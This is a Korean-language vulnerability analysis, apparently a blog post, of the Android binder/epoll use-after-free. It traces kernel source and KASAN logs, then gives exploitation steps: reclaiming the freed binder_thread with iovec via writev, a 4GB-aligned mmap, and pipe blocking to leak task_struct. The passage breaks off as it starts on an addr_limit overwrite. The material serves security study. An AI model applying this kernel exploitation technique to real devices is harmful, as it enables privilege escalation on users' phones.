// /fs/eventpoll.c
+static int ep_insert(struct eventpoll *ep, struct epoll_event *event,
+		     struct file *tfile, int fd, int full_check)
+{
+    ...
+    epi->ep = ep;
+		ep_set_ffd(&epi->ffd, tfile, fd);
+    ...
+    revents = ep_item_poll(epi, &epq.pt);
+    ...
+}
+
+// /fs/eventpoll.c
+static inline void ep_set_ffd(struct epoll_filefd *ffd,
+			      struct file *file, int fd)
+{
+	ffd->file = file;
+	ffd->fd = fd;
+}
+
+// /fs/eventpoll.c
+static inline unsigned int ep_item_poll(struct epitem *epi, poll_table *pt)
+{
+	pt->_key = epi->event.events;
+
+	return epi->ffd.file->f_op->poll(epi->ffd.file, pt) & epi->event.events;
+}
+
+
+ +
    +
  • ep_set_ffd에 의하여 epi->ffd.file은 tfile 즉 binder의 fd가 들어간다.
  • +
  • 따라서 이후 ep_item_poll에서 epi->ffd.file->f_op->poll(epi->ffd.file, pt)함수를 실행하면, binder fd와 연결된 binder_poll 함수가 실행된다.
  • +
+ +


+ +

binder_poll은 아래와 같다.

+ +
//drivers/android/binder.c
+static unsigned int binder_poll(struct file *filp,
+				struct poll_table_struct *wait)
+{
+	struct binder_proc *proc = filp->private_data;
+	struct binder_thread *thread = NULL;
+	bool wait_for_proc_work;
+
+	thread = binder_get_thread(proc); //binder thread 세팅
+	if (!thread)
+		return POLLERR;
+
+	binder_inner_proc_lock(thread->proc);
+	thread->looper |= BINDER_LOOPER_STATE_POLL;
+	wait_for_proc_work = binder_available_for_proc_work_ilocked(thread);
+
+	binder_inner_proc_unlock(thread->proc);
+
+	poll_wait(filp, &thread->wait, wait);
+
+	if (binder_has_work(thread, wait_for_proc_work))
+		return POLLIN;
+
+	return 0;
+}
+
+
+ +

위에서 보여진 binder_proc *proc에는 처음 binder driver를 열었을 때 생성된 binder_proc구조체가 들어가게 된다. 그리고 binder_get_thread함수에서 binder_thread 구조체를 할당한 다음 세팅한다.

+ +


+binder_get_thread함수는 아래와 같다.

+ +
// /drivers/android/binder.c
+static struct binder_thread *binder_get_thread(struct binder_proc *proc)
+{
+	struct binder_thread *thread;
+	struct binder_thread *new_thread;
+
+	binder_inner_proc_lock(proc);
+	thread = binder_get_thread_ilocked(proc, NULL);
+	binder_inner_proc_unlock(proc);
+	if (!thread) {
+		new_thread = kzalloc(sizeof(*thread), GFP_KERNEL); // 새로운 binder thread할당
+		if (new_thread == NULL)
+			return NULL;
+		binder_inner_proc_lock(proc);
+		thread = binder_get_thread_ilocked(proc, new_thread);
+		binder_inner_proc_unlock(proc);
+		if (thread != new_thread)
+			kfree(new_thread);
+	}
+	return thread;
+}
+
+
+ +
    +
  • 위 함수에서 보면 kzalloc(sizeof(*thread), GFP_KERNEL); 코드를 통해 새로운 thread를 할당 받는 것을 알 수 있다.
  • +
  • 이때 할당 받은 청크가 우리가 UAF에서 사용할 청크이다.
  • +
+ +


+binder thread 구조체는 아래와 같다.

+ +
//drivers/android/binder.c
+struct binder_thread {
+	struct binder_proc *proc;
+	struct rb_node rb_node;
+	struct list_head waiting_thread_node;
+	int pid;
+	int looper;              /* only modified by this thread */
+	bool looper_need_return; /* can be written by other thread */
+	struct binder_transaction *transaction_stack;
+	struct list_head todo;
+	struct binder_error return_error;
+	struct binder_error reply_error;
+	wait_queue_head_t wait; //이 부분이 중요!
+	struct binder_stats stats;
+	atomic_t tmp_ref;
+	bool is_dead;
+};
+
+
+ +


+우리는 앞서 패치 노트를 통해 epoll과 waitqueue에 어떤 부분에 의하여 UAF가 발생했다는 것을 추측할 수 있다. 따라서 이와 관련이 있어 보이는 poll_wait(filp, &thread->wait, wait); 코드를 볼 필요가 있다.

+ +
//drivers/android/binder.c
+static unsigned int binder_poll(struct file *filp,
+				struct poll_table_struct *wait)
+{
+    ...
+    poll_wait(filp, &thread->wait, wait);
+    ...
+}
+
+// /include/linux/poll.h
+static inline void poll_wait(struct file * filp, wait_queue_head_t * wait_address, poll_table *p)
+{
+	if (p && p->_qproc && wait_address)
+		p->_qproc(filp, wait_address, p);
+}
+
+
+ +
    +
  • +

    p→_qproc는 ep_insert함수에서 실행된 init_poll_funcptr(&epq.pt, ep_ptable_queue_proc); 코드에 의해 ep_ptable_queue_proc함수로 세팅되어, 해당 함수가 실행된다.

    + +
      // /fs/eventpoll.c
    +  static int ep_insert(struct eventpoll *ep, struct epoll_event *event, struct file *tfile, int fd, int full_check)
    +  { 
    +  		//... 
    +  		epq.epi = epi;	
    +  		init_poll_funcptr(&epq.pt, ep_ptable_queue_proc); 
    +  		//...
    +  }
    +    
    +  // /include/linux/poll.h
    +  static inline void init_poll_funcptr(poll_table *pt, poll_queue_proc qproc)
    +  {	
    +  		pt->_qproc = qproc;	
    +  		pt->_key = ~0UL; /* all events enabled */
    +  }
    +
    +
  • +
+ +


+ +

이어서 ep_ptable_queue_proc을 보면 다음과 같다.

+ +
// /fs/eventpoll.c
+
+static void ep_ptable_queue_proc(struct file *file, wait_queue_head_t *whead,
+				 poll_table *pt)
+{
+	struct epitem *epi = ep_item_from_epqueue(pt);
+	struct eppoll_entry *pwq;
+
+	if (epi->nwait >= 0 && (pwq = kmem_cache_alloc(pwq_cache, GFP_KERNEL))) {
+		init_waitqueue_func_entry(&pwq->wait, ep_poll_callback);
+		pwq->whead = whead;
+		pwq->base = epi;
+		if (epi->event.events & EPOLLEXCLUSIVE)
+			add_wait_queue_exclusive(whead, &pwq->wait);
+		else
+			add_wait_queue(whead, &pwq->wait);
+		list_add_tail(&pwq->llink, &epi->pwqlist);
+		epi->nwait++;
+	} else {
+		/* We have to signal that an error occurred */
+		epi->nwait = -1;
+
+	//[...]
+}
+
+// /kernel/sched/wait.c
+void add_wait_queue(struct wait_queue_head *wq_head, struct wait_queue_entry *wq_entry)
+{
+	unsigned long flags;
+
+	wq_entry->flags &= ~WQ_FLAG_EXCLUSIVE;
+	spin_lock_irqsave(&wq_head->lock, flags);
+	__add_wait_queue(wq_head, wq_entry);
+	spin_unlock_irqrestore(&wq_head->lock, flags);
+}
+
+// /include/linux/wait.h
+static inline void __add_wait_queue(wait_queue_head_t *head, wait_queue_t *new)
+{
+	list_add(&new->task_list, &head->task_list);
+}
+
+// /include/linux/list.h
+static inline void list_add(struct list_head *new, struct list_head *head)
+{
+	__list_add(new, head, head->next);
+}
+
+// /include/linux/list.h
+static inline void __list_add(struct list_head *new,
+			      struct list_head *prev,
+			      struct list_head *next)
+{
+	next->prev = new;
+	new->next = next;
+	new->prev = prev;
+	prev->next = new;
+}
+
+ +
    +
  • add_wait_queue를 호출하여 binder_thread의 circular double linked list에 eppoll_entry.wait->task_list를 binder_thread 다음 노드로 추가
  • +
+ +


+ +

eppoll_entry 구조체는 아래와 같다.

+ +
// /fs/eventpoll.c
+struct eppoll_entry {
+	/* List header used to link this structure to the "struct epitem" */
+	struct list_head llink;
+
+	/* The "base" pointer is set to the container "struct epitem" */
+	struct epitem *base;
+
+	/*
+	 * Wait queue item that will be linked to the target file wait
+	 * queue head.
+	 */
+	wait_queue_t wait;
+
+	/* The wait queue head that linked the "wait" wait queue item */
+	wait_queue_head_t *whead;
+};
+
+ +

위 과정들을 통해 만들어진 구조체는 다음과 같다.

+ +

그림 2. epitem, eppoll_entry, binder_thread의 연결관계

+ +


+

+ +

지금까지 진행 과정을 정리하자면 다음과 같다.

+ +
    +
  1. binder_thread 구조체 생성
  2. +
  3. eventpoll구조체 생성
  4. +
  5. epoll_ctl → ep_insert → ep_item_poll → binder_poll 호출
  6. +
  7. binder_poll에서 binder_get_thread함수를 통해 새로운 binder_thread할당
  8. +
  9. 이후 poll_wait → ep_ptable_queue_proc 함수 실행
  10. +
  11. epoll_entry→whead에 binder_thread.wait 대입, epoll_entry→wait에 binder_thread→wait.head 리스트 연결
  12. +
+ +


+

+ +

4.3 Free

+ +

이번에는 UAF에 사용된 청크가 어떻게 해제 되었는지 살펴보기 위해 먼저 KASAN log를 살펴본다.

+ +
[  464.714124] c0   3033 Freed by task 3033:
+[  464.716396]  [<ffffff900808e5a4>] save_stack_trace_tsk+0x0/0x204
+[  464.721699]  [<ffffff900808e7c8>] save_stack_trace+0x20/0x28
+[  464.727678]  [<ffffff90082b16a4>] kasan_slab_free+0xb0/0x1c0
+[  464.733322]  [<ffffff90082ae214>] kfree+0x8c/0x2b4
+[  464.738952]  [<ffffff900940ac00>] binder_thread_dec_tmpref+0x15c/0x1c0
+[  464.743750]  [<ffffff900940d590>] binder_thread_release+0x284/0x2e0
+[  464.750253]  [<ffffff90094149e0>] binder_ioctl+0x6f4/0x3664
+[  464.756498]  [<ffffff90082e1364>] do_vfs_ioctl+0x7f0/0xd58
+[  464.762052]  [<ffffff90082e1968>] SyS_ioctl+0x9c/0xc0
+[  464.767513]  [<ffffff90080842b0>] el0_svc_naked+0x24/0x28
+
+
+ +

보면 SyS_ioctl에서 binder_ioctl → binder_thread_release 함수를 통해 binder_thread가 해제되었다는 것을 추측할 수 있다.

+ +

poc에서 아래 코드를 통해 binder_ioctl이 호출된다.

+ +
//poc.c
+int main()
+{
+        [...]
+        ioctl(fd, BINDER_THREAD_EXIT, NULL);
+}
+
+ +


+위 poc를 통해 호출되는 binder_ioctl코드를 자세히 살펴보면 다음과 같다.

+ +
// /drivers/android/binder.c
+
+static long binder_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
+{
+	int ret;
+	struct binder_proc *proc = filp->private_data;
+	struct binder_thread *thread;
+	unsigned int size = _IOC_SIZE(cmd);
+	void __user *ubuf = (void __user *)arg;
+
+	...
+
+	thread = binder_get_thread(proc);
+
+	...
+
+	case BINDER_THREAD_EXIT:
+			binder_debug(BINDER_DEBUG_THREADS, "%d:%d exit\\n",
+				     proc->pid, thread->pid);
+			binder_thread_release(proc, thread);
+			thread = NULL;
+			break;
+
+
+ +

binder_proc에서 binder_thread를 얻은 다음, 이를 binder_thread_release함수에 인자로 넘겨준다.

+ +


+

+ +

binder_thread_release → binder_thread_dec_tmpref → binder_free_thread 순으로 함수가 호출된다.

+ +
// /drivers/android/binder.c
+static int binder_thread_release(struct binder_proc *proc,
+				 struct binder_thread *thread)
+{
+
+	[...]
+
+	if (send_reply)
+		binder_send_failed_reply(send_reply, BR_DEAD_REPLY);
+	binder_release_work(proc, &thread->todo);
+	binder_thread_dec_tmpref(thread);
+	return active_transactions;
+}
+
+// /drivers/android/binder.c
+static void binder_thread_dec_tmpref(struct binder_thread *thread)
+{
+	/*
+	 * atomic is used to protect the counter value while
+	 * it cannot reach zero or thread->is_dead is false
+	 */
+	binder_inner_proc_lock(thread->proc);
+	atomic_dec(&thread->tmp_ref);
+	if (thread->is_dead && !atomic_read(&thread->tmp_ref)) {
+		binder_inner_proc_unlock(thread->proc);
+		binder_free_thread(thread);
+		return;
+	}
+	binder_inner_proc_unlock(thread->proc);
+}
+
+// /drivers/android/binder.c
+static void binder_free_thread(struct binder_thread *thread)
+{
+	...
+	kfree(thread);
+}
+
+
+ +

결국 마지막 binder_free_thread함수에서 thread가 해제된다.

+ +


+ +

여기서 문제는 이전 단계에서 eppoll_entry→whead와 eppoll_entry->wait 가 binder_thread→wait와 circular doubly linked list로 연결되었는데, epoll_entry에 연결된 list에 대한 정리가 여기서 진행되지 않는다. 따라서 여전히 eppoll_entry에서 해제된 thread 청크에 접근이 가능한 상태로 남게된다.

+ +
    +
  • 그림 2 참고
  • +
+ +


+ +

4.4 Use

+ +

해제한 청크를 사용하는 부분을 확인해보기 위해 KASAN log를 보면 아래와 같다.

+ +
[  464.545928] c0   3033 [<ffffff900808f0e8>] dump_backtrace+0x0/0x34c
+[  464.549328] c0   3033 [<ffffff900808f574>] show_stack+0x1c/0x24
+[  464.555411] c0   3033 [<ffffff900858bcc8>] dump_stack+0xb8/0xe8
+[  464.561319] c0   3033 [<ffffff90082b1ecc>] print_address_description+0x94/0x334
+[  464.567219] c0   3033 [<ffffff90082b23f0>] kasan_report+0x1f8/0x340
+[  464.574501] c0   3033 [<ffffff90082b0740>] __asan_store8+0x74/0x90
+[  464.580753] c0   3033 [<ffffff9008139fc0>] remove_wait_queue+0x48/0x90
+[  464.587125] c0   3033 [<ffffff9008336874>] ep_unregister_pollwait.isra.8+0xa8/0xec
+[  464.593617] c0   3033 [<ffffff9008337744>] ep_free+0x74/0x11c
+[  464.601149] c0   3033 [<ffffff9008337820>] ep_eventpoll_release+0x34/0x48
+[  464.606988] c0   3033 [<ffffff90082c589c>] __fput+0x10c/0x32c
+[  464.613724] c0   3033 [<ffffff90082c5b38>] ____fput+0x18/0x20
+[  464.619463] c0   3033 [<ffffff90080eefdc>] task_work_run+0xd0/0x128
+[  464.625193] c0   3033 [<ffffff90080bd890>] do_exit+0x3e4/0x1198
+[  464.631260] c0   3033 [<ffffff90080c0ff8>] do_group_exit+0x7c/0x128
+[  464.637167] c0   3033 [<ffffff90080c10c4>] __wake_up_parent+0x0/0x44
+[  464.643421] c0   3033 [<ffffff90080842b0>] el0_svc_naked+0x24/0x28
+
+
+ +

보면 do_exit과정에서 힙청크를 정리하는 과정에 ep_eventpoll_release함수가 실행되었고 ep_free를 통해 epoll에 연결된 wait queue를 제거하다가 발생했다는 것을 어느 정도 유추할 수 있는데 자세히 분석해본다.

+ +


+ +

4.4.1 ep_unregister_pollwait

+ +
// /fs/eventpoll.c
+static int ep_eventpoll_release(struct inode *inode, struct file *file)
+{
+	struct eventpoll *ep = file->private_data;
+
+	if (ep)
+		ep_free(ep);
+
+	return 0;
+}
+
+// /fs/eventpoll.c
+static void ep_free(struct eventpoll *ep)
+{
+	// [...]
+	for (rbp = rb_first_cached(&ep->rbr); rbp; rbp = rb_next(rbp)) {
+		epi = rb_entry(rbp, struct epitem, rbn);
+
+		ep_unregister_pollwait(ep, epi);
+		cond_resched();
+	}
+	// [...]
+
+}
+
+// /fs/eventpoll.c
+static void ep_unregister_pollwait(struct eventpoll *ep, struct epitem *epi)
+{
+	struct list_head *lsthead = &epi->pwqlist;
+	struct eppoll_entry *pwq;
+	while (!list_empty(lsthead)) {
+		pwq = list_first_entry(lsthead, struct eppoll_entry, llink);
+		list_del(&pwq->llink);
+		ep_remove_wait_queue(pwq);
+		kmem_cache_free(pwq_cache, pwq);
+	}
+}
+
+ +

ep_eventpoll_releaseep_free -> ep_unregister_pollwait 순서대로 호출된다.

+ +

이때 pwq→wait과 pwq→whead가 freed binder_thread→wait과 연결되어 있다는 것을 기억하면서 ep_remove_wait_queue로 더 들어가보면 다음과 같다.

+ +
// /fs/eventpoll.c
+static void ep_remove_wait_queue(struct eppoll_entry *pwq)
+{
+	wait_queue_head_t *whead;
+	rcu_read_lock();
+	// [...]
+	whead = smp_load_acquire(&pwq->whead);
+	if (whead)
+		remove_wait_queue(whead, &pwq->wait);
+	rcu_read_unlock();
+}
+
+
+ +

위 코드를 보면 smp_load_acquire을 통해 pwq->whead를 얻어와서 remove_wait_queue함수로 전달하는 것을 볼 수 있다. whead와 pwq→wait 모두 binder_thread.wait과 연결되어있다.

+ +

그림 3. whead와 pwq->wait이 binder_thread.wait과 연결되어 있는 모습

+ +


+ +
// /fs/eventpoll.c
+
+void remove_wait_queue(wait_queue_head_t *q, wait_queue_t *wait)
+{
+	unsigned long flags;
+
+	spin_lock_irqsave(&q->lock, flags);
+	__remove_wait_queue(q, wait);
+	spin_unlock_irqrestore(&q->lock, flags);
+}
+
+__remove_wait_queue(wait_queue_head_t *head, wait_queue_t *old)
+{
+	list_del(&old->task_list);
+}
+
+static inline void list_del(struct list_head *entry)
+{
+        __list_del_entry(entry);
+        ...
+}
+
+static inline void __list_del_entry(struct list_head *entry)
+{
+        ...
+        __list_del(entry->prev, entry->next);
+}
+
+static inline void __list_del(struct list_head * prev, struct list_head * next)
+{
+        next->prev = prev;
+        WRITE_ONCE(prev->next, next);
+}
+
+
+ +

위 함수들을 거쳐서 pwq→wait의 list를 제거하는 과정을 거치는데, circular double linked list를 해제하는 과정이다.

+ +

위 과정을 거쳐 eppoll_entry에 연결된 circular double linked list를 제거하면 아래 사진과 같이 자기 자신을 가리키는 포인터가 entry→prev와 entry→next에 저장된다

+ +

그림 4. circular doubly linked list 해제에 의하여 자기 자신을 가리키는 binder_thread

+ +

그림 5. 실제 메모리에서 binder_thread.wait의 prev와 next가 자기 자신을 가리키는 모습 (0xffff88801a0790a8이 head)

+ +


+

+ +

5. Exploit

+ +

아래에서 언급되는 exploit code는 아래 링크의 코드를 사용했다

+ + + +


+ +

5.1 Improve Vulnerability

+ +

앞서 찾은 취약점을 요약하면 아래와 같다.

+ +
    +
  1. binder_thread→wait은 epoll_ctl을 통해 eppoll_entry→wait, eppoll_entry→whead에 연결된다.
  2. +
  3. ioctl을 통해 binder_thread를 해제할 수 있다.
  4. +
  5. eppoll_entry→wait, epoll_entry→whead에서는 binder_thread를 여전히 가리키고 있다.
  6. +
  7. +

    exit단계에서 ep_remove함수가 실행되고 epoll_entry→wait circular double linked list를 해제하는 과정에서 UAF가 발생한다.

    + +
     // /fs/eventpoll.c
    + SYSCALL_DEFINE4(epoll_ctl, int, epfd, int, op, int, fd,
    + 		struct epoll_event __user *, event)
    + {
    +       //[...]
    +       switch (op) {
    +         //[...]
    +         case EPOLL_CTL_DEL:
    + 			if (epi)
    + 				error = ep_remove(ep, epi);
    + 			else
    + 				error = -ENOENT;
    + 			break;
    + 	//[...]
    + }
    +
    + +

    exit단계에서 호출된 ep_remove 함수는 epoll_ctl의 EPOLL_CTL_DEL 옵션을 통해 호출이 따로 가능하다. 따라서 아래와 같이 호출한다면 UAF가 동일하게 발생할 수 있다.

    + +
     epoll_ctl(iEpFd, EPOLL_CTL_DEL, iBinderFd, &epoll_ev)
    +
    +
  8. +
+ +


+ +

이 챕터에서는 binder_thread를 어떤 객체로 어떻게 덮을 것이고, 이를 통해 어떻게 Arbitrary Read/Write primitive를 얻을 것인지 살펴본다.

+ +


+ +

5.1.1 Allocate iovec with writev

+ +
//poc.c line 16
+    ioctl(fd, BINDER_THREAD_EXIT, NULL);
+
+ +

위 코드에 의해 해제된 binder_thread는 408 크기이다.

+ +

그림 6. binder_thread 크기

+ +


+

+ +

해제된 chunk는 slub의 kmalloc-512에 들어가게 되고, 우리가 이 chunk를 다시 사용하기 위해서는 kmalloc-512에 해당하는 크기의 chunk를 할당 받아야 한다.

+ +

이를 위하여 이 exploit에서는 iovec 을 이용한다. iovec은 writev, readv 함수에서 일반적인 buffer 대신에 사용할 수 있도록 하는 구조체이다.

+ +


+

+ +

iovec 구조체는 아래와 같다.

+ +
struct iovec
+{
+	void __user *iov_base;	/* BSD uses caddr_t (1003.1g requires void *) */
+	__kernel_size_t iov_len; /* Must be size_t (1003.1g) */
+};
+
+ +

iov_base는 전송할 데이터의 시작 주소를 가리키고, iov_len은 iov_base를 기준으로 전송하고자 하는 바이트 수이다. 이 구조체가 실제로 커널에서는 어떻게 커널 힙으로 할당되는지 알기 위해서, writev함수의 내부 코드를 살펴봐야 한다.

+ +


+

+ +

우리가 exploit에서 사용할 writev함수를 살펴보면 아래와 같다.

+ +
// /fs/read_write.c
+SYSCALL_DEFINE3(writev, unsigned long, fd, const struct iovec __user *, vec,
+		unsigned long, vlen)
+{
+	struct fd f = fdget_pos(fd);
+	ssize_t ret = -EBADF;
+
+	if (f.file) {
+		loff_t pos = file_pos_read(f.file);
+		ret = vfs_writev(f.file, vec, vlen, &pos);
+	//[...]
+	}
+
+	//[...]
+
+	return ret;
+}
+
+// /fs/read_write.c
+ssize_t vfs_writev(struct file *file, const struct iovec __user *vec,
+		   unsigned long vlen, loff_t *pos)
+{
+	//[...]
+
+	return do_readv_writev(WRITE, file, vec, vlen, pos);
+}
+
+// /fs/read_write.c
+static ssize_t do_readv_writev(int type, struct file *file,
+			       const struct iovec __user * uvector,
+			       unsigned long nr_segs, loff_t *pos)
+{
+	size_t tot_len;
+	struct iovec iovstack[UIO_FASTIOV];
+	struct iovec *iov = iovstack;
+	struct iov_iter iter;
+	ssize_t ret;
+	io_fn_t fn;
+	iter_fn_t iter_fn;
+
+	ret = import_iovec(type, uvector, nr_segs,
+			   ARRAY_SIZE(iovstack), &iov, &iter);
+	if (ret < 0)
+		return ret;
+	//[...]
+
+	if (type == READ) {
+		fn = file->f_op->read;
+		iter_fn = file->f_op->read_iter;
+	} else {
+		fn = (io_fn_t)file->f_op->write;
+		iter_fn = file->f_op->write_iter;
+		file_start_write(file);
+	}
+	//[...]
+}
+
+
+ +

위 코드를 확인해보면 writev → vfs_writev → do_readv_writev함수 순으로 호출 되고 여기서 import_iovec 함수가 호출된다.

+ +


+ +

import_iovec함수를 살펴보면 아래와 같다.

+ +
// /lib/iov_iter.c
+int import_iovec(int type, const struct iovec __user * uvector,
+		 unsigned nr_segs, unsigned fast_segs,
+		 struct iovec **iov, struct iov_iter *i)
+{
+	ssize_t n;
+	struct iovec *p;
+	n = rw_copy_check_uvector(type, uvector, nr_segs, fast_segs,
+				  *iov, &p);
+	if (n < 0) {
+		if (p != *iov)
+			kfree(p);
+		*iov = NULL;
+		return n;
+	}
+	iov_iter_init(i, type, p, nr_segs, n);
+	*iov = p == *iov ? NULL : p;
+	return 0;
+}
+
+// /fs/read_write.c
+ssize_t rw_copy_check_uvector(int type, const struct iovec __user * uvector,
+                              unsigned long nr_segs, unsigned long fast_segs,
+                              struct iovec *fast_pointer,
+                              struct iovec **ret_pointer)
+{
+        unsigned long seg;
+        ssize_t ret;
+        struct iovec *iov = fast_pointer;
+        //[...]
+        if (nr_segs > fast_segs) {
+                iov = kmalloc(nr_segs*sizeof(struct iovec), GFP_KERNEL);
+                //[...]
+        }
+        if (copy_from_user(iov, uvector, nr_segs*sizeof(*uvector))) {
+                //[...]
+        }
+        //[...]
+        ret = 0;
+        for (seg = 0; seg < nr_segs; seg++) {
+                void __user *buf = iov[seg].iov_base;
+                ssize_t len = (ssize_t)iov[seg].iov_len;
+                //[...]
+                if (type >= 0
+                    && unlikely(!access_ok(vrfy_dir(type), buf, len))) {
+                        //[...]
+                }
+                if (len > MAX_RW_COUNT - ret) {
+                        len = MAX_RW_COUNT - ret;
+                        iov[seg].iov_len = len;
+                }
+                ret += len;
+        }
+        //[...]
+        return ret;
+}
+
+
+ +

위 코드에서 확인할 수 있듯이, kmalloc(nr_segs*sizeof(struct iovec), GFP_KERNEL); 을 통해 커널 힙을 할당 받을 수 있는데, 이때 nr_segs를 우리가 원하는 값으로 할 수 있기 때문에 binder_thread 청크를 위 코드에서 할당 받을 수 있다. 또한 그 아래 코드에서 copy_from_user 함수를 통해 실제로 값을 copy하기 때문에, 원하는 값으로 청크를 채울 수 있다.

+ +


+ +

struct iovec 의 크기가 0x10 byte이기 때문에 binder_thread 크기 만큼의 청크를 할당받기 위해서는 25개의 iovec 구조체를 할당받아야 한다. 따라서 아래와 같이 선언을 해준다면, writev에서 binder_thread 청크를 iovecStack으로 할당받을 수 있다.

+ +
//exploit.c
+struct iovec iov[25] = {0};
+
+ +


+ +

이제 해제된 binder_thread를 iovec 구조체로 재할당 받게 되었다. 이를 writev에서 어떻게 활용할 수 있는지 아래에서 다뤄본다.

+ +


+ +

5.1.2 Overwrite dangling pointer

+ +

writev에서는 iovec.base에 있는 값을 iovec.len 크기 만큼 전달한다. 이때 UAF를 통해 kernel address가 iovec.base에 들어가게 된다면, 결과적으로 kernel leak이 가능하다.

+ +
// /fs/read_write.c
+static ssize_t do_loop_readv_writev(struct file *filp, struct iov_iter *iter,
+		loff_t *ppos, int type, rwf_t flags)
+{
+    //[...]
+    while (iov_iter_count(iter)) {
+		struct iovec iovec = iov_iter_iovec(iter);
+		ssize_t nr;
+
+		if (type == READ) {
+			nr = filp->f_op->read(filp, iovec.iov_base,
+					      iovec.iov_len, ppos);
+		} else {
+			nr = filp->f_op->write(filp, iovec.iov_base,
+					       iovec.iov_len, ppos);
+		}
+    //[...]
+    }
+    //[...]
+}
+
+ +
    +
  • 위 코드에서 확인할 수 있듯이, iovec 구조체를 돌다가 file->f_op->write의 인자로 iovec[11].iov_base, iovec[11].iov_len이 들어가게 될 것이고, 결국 우리의 UAF 취약점에 의해 kernel leak이 가능하게 될 것이다.
  • +
+ +


+

+ +

UAF를 통해 kernel address가 어떻게 iovec.base에 들어갈 수 있는 지 알기 위해서는 iovec을 통해 입력한 값이 binder_thread의 각 맴버와 어떻게 매칭되는지를 먼저 확인해보면 알 수 있다.

+ +

| offset | binder_thread | iovecStack | +| — | — | — | +| … | … | … | +| 0xA0 | wait.lock | iovecStack[10].iov_base = m_4gb_aligned_page | +| 0xA8 | wait.head.next | iovecStack[10].iov_len = PAGE_SIZE | +| 0xB0 | wait.head.prev | iovecStack[11].iov_base = 0x41414141 | +| 0xB8 | … | iovecStack[11].iov_len = PAGE_SIZE |

+
    +
  • iovecStack[10].iov_base에 값을 넣을 때 주의할 점은 wait.lock에 어떠한 값이 들어가 있게 될 경우 원하는 방향으로 writev 함수가 동작하지 않기 때문에, wait.lock에 해당하는 부분을 0으로 만들어야 한다. 따라서 iovecStack[10].iov_base에 들어가는 포인터는 하위 4byte값이 0으로 되어있어야한다. +
      +
    • e.i) 0x100000000
    • +
    +
  • +
  • +

    이를 위하여 exploit 단계에서는 mmap을 사용하여 미리 0x100000000에 메모리 영역을 할당받는다.

    + +
      // exploit.c
    +    
    +  m_4gb_aligned_page = mmap(
    +                  (void *) 0x100000000ul,
    +                  PAGE_SIZE,
    +                  PROT_READ | PROT_WRITE,
    +                  MAP_PRIVATE | MAP_ANONYMOUS,
    +                  -1,
    +                  0
    +          );
    +
    +
  • +
+ +


+ +

우리가 알고 있는 사실은 binder_thread의 wait 멤버는 여전히 eppoll_entry 에 연결되어 있고, ep_remove 함수를 통해 해당 wait list를 정리할 때, wait.head.next와 wait.head.prev가 변한다는 사실이다. 정확히 어떻게 변하는 지는 circular double linked list에서 하나의 node가 제거되는 방식으로 변할 수 있는데, iovStack[11].iov_base위치에 epoll_entry 제거 과정에서 kernel memory가 저장된다.

+ +
//ep_entry->wait list 제거 과정 중..
+static inline void __list_del(struct list_head * prev, struct list_head * next)
+{
+        next->prev = prev;
+        WRITE_ONCE(prev->next, next);
+}
+
+
+ +

이렇게 되면, 실제로 writev를 통해 값이 쓰일 때, iovStack[11].iov_base에 저장된 주소부터 PAGE_SIZE까지 출력이 되면서 kernel address leak이 된다.

+ +

그림 7. task_struct leak

+ +

0xffff88801a0790a8 : iovecStack[10].len 0xffff88801a0790a8 (&iovecStack[10].len)

+ +

0xffff88801a0790b0 : iovecStack[11].iov_base 0xffff88801a0790a8 (&iovecStack[10].len)

+ +

0xffff88801a0790b8 : iovecStack[11].iov_len 0x1000

+ +

0xffff8880182f1b80 : task_struct address

+ +


+따라서 iovecStack[11].iov_base에서 0x1000만큼 출력을 하는데, 0xffff88801a0790a8+0xe8위치에 task_struct의 pointer(0xffff8880182f1b80)가 존재하기 때문에 이 값을 얻을 수 있다.

+ +


+

+ +
    +
  • iovec 구조체를 사용할 때, writev함수에서 사용이 끝나면 바로 해제되기 때문에, pipe를 이용하여 readv, writev를 진행한다. 이를 이용하면 pipe가 full이거나 empty상태 일 때, block상태가 되면서, chunk가 할당된 상태에서 유지할 수 있게 된다.
  • +
+ +


+

+ +

5.2 Leak task_struct address process

+ +

circular double linked list의 경우 노드가 해제되어 하나의 노드만 남게 되었을 경우, node.next와 node.prev가 자기 자신을 가리키게 된다. +지금까지 진행된 내용을 순서대로 정리하자면, 다음과 같다.

+ +
    +
  1. epoll, binder을 각각 생성한다.
  2. +
  3. epoll_ctl의 EPOLL_CTL_ADD 을 통해 binder_thread.wait을 연결한다.
  4. +
  5. ioctl의 BINDER_THREAD_EXIT 을 통해 binder_thread를 해제한다.
  6. +
  7. wait.lock을 우회하기 위해 0x100000000 영역을 할당 받는다.
  8. +
  9. pipe를 생성하고 pipe 크기를 page size로 지정한다.
  10. +
  11. fork를 통해 process를 2개로 나눈다. +
      +
    • process1 +
        +
      1. iovec 구조체를 설정한다. 이때 iovecStack[10].len, iovecStack[11].base가 binder_thread.wait와 매칭되어 UAF가 터지는 부분이고, iovecStack[11].lenPAGE_SIZE로 한다.
      2. +
      3. writev함수를 수행한다. +
          +
        • iovec 구조체가 실제로 kmalloc에 의해 할당된다. pipe가 FULL이기 때문에, thread가 block된 상태로 iovec 구조체가 유지된다.
        • +
        +
      4. +
      +
    • +
    • process2 +
        +
      1. iovec구조체 할당이 마무리 될 때 까지 대기하기 위해 sleep을 한다.
      2. +
      3. process1에서 구조체 할당이 끝난 후, epoll_ctl EPOLL_CTL_DEL 을 이용하여 ep_remove함수를 수행한다. +
          +
        • circular double linked list 해제 과정을 통해 thread.wait.prev, thread.wait.next에 해당하는 iovecStack[11].base와 iovecStack[10].len 이 바뀐다.
        • +
        • 이로 인해 iovecStack[11].base가 kernel 주소에 있는 list head(iovecStack[10].len의 주소)가 된다.
        • +
        +
      4. +
      5. read로 pipe에서 PAGE_SIZE만큼 읽는다. +
          +
        • 이때 읽어오는 값은 iovecStack[10].base에 값으로 의미 없는 값이다.
        • +
        • process1 의 block상태를 해제한다.
        • +
        +
      6. +
      7. process2를 종료한다.
      8. +
      +
    • +
    • process1 +
        +
      1. read를 통해 pipe에서 읽어온다. 이때 읽어오는 값은 iovecStack[11].base로 부터 읽어온 값으로 kernel memory leak이 된다.
      2. +
      3. kernel memory leak에 task_struct 주소가 존재한다.
      4. +
      +
    • +
    +
  12. +
+ +


+

+ +

5.3 Get Kernel Read / Write

+ +


+ +

5.3.1 Overwrite thread.addr_limit

+ +

우리는 UAF를 통해 iovecStack[11].base와 iovecStack[10].len을 바꿀 수 있다. 간단하게 생각해서, readv를 통해 corrupt pointer로 입력을 넣을 수 있을 것으로 보이지만, 아래 이유로 인해 readv를 사용할 수 없다.

+ +
    +
